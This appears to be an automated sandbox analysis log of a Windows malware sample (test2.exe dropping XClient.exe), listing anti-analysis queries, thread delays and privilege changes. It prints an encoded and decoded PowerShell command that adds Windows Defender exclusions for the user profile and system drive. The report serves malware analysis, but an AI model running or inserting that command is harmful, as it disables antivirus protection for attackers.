Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Memory allocated: 8E0000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Memory allocated: 1A410000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5967	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2210	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Window / User API: threadDelayed 7082	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Window / User API: threadDelayed 2567	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Window / User API: threadDelayed 9569	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8020	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe TID: 8292	Thread sleep time: -36893488147419080s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe TID: 8100	Thread sleep count: 9569 > 30	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe TID: 8100	Thread sleep time: -826761600000s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe TID: 8100	Thread sleep time: -86399999s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe TID: 8100	Thread sleep count: 144 > 30	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe TID: 8100	Thread sleep time: -12441600000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1020	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8772	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe

File opened: PhysicalDrive0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: XClient.exe, 00000003.00000002.3626778140.000000001B440000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll7
Source: svchost.exe, 00000007.00000002.2859563863.000002CC65E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: svchost.exe, 00000007.00000002.2862716448.000002CC6B45A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Music.UI.exe, 00000004.00000002.3631595501.000002CCD83E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\test2.exe.bin.exe

Code function: 0_2_004014D1 EntryPoint,memset,SetUnhandledExceptionFilter,__set_app_type,_controlfp,__argc,__argv,_environ,_environ,__argv,__getmainargs,__argc,__argv,_environ,__argc,__argc,exit,

0_2_004014D1

Source: C:\Users\user\AppData\Local\Temp\XClient.exe

Memory allocated: page read and write | page guard

Encrypted powershell cmdline option found

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\test2.exe.bin.exe	Process created: Base64 decoded <#dfc#>Add-MpPreference <#zby#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#nvw#> -Force <#vcn#>
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Process created: Base64 decoded <#dfc#>Add-MpPreference <#zby#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#nvw#> -Force <#vcn#>			Jump to behavior

Source: C:\Users\user\Desktop\test2.exe.bin.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHoAYgB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdgB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAYwBuACMAPgA="			Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Process created: C:\Users\user\AppData\Local\Temp\XClient.exe "C:\Users\user\AppData\Local\Temp\XClient.exe"			Jump to behavior

Source: C:\Users\user\Desktop\test2.exe.bin.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand "paajagqazgbjacmapgbbagqazaatae0acabqahiazqbmaguacgblag4aywblacaapaajahoaygb5acmapgagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaeaakaakaguabgb2adoavqbzaguacgbqahiabwbmagkabablacwajablag4adga6afmaeqbzahqazqbtaeqacgbpahyazqapacaapaajag4adgb3acmapgagac0argbvahiaywblacaapaajahyaywbuacmapga="
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand "paajagqazgbjacmapgbbagqazaatae0acabqahiazqbmaguacgblag4aywblacaapaajahoaygb5acmapgagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaeaakaakaguabgb2adoavqbzaguacgbqahiabwbmagkabablacwajablag4adga6afmaeqbzahqazqbtaeqacgbpahyazqapacaapaajag4adgb3acmapgagac0argbvahiaywblacaapaajahyaywbuacmapga="			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\XClient.exe VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edbtmp.log VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edbtmp.log VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edbres00001.jrs VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edbres00002.jrs VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edb.log VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edb.log VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edb.log VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edb.chk VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\EntClientDb.jfm VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\EntClientDb.edb VolumeInformation	Jump to behavior
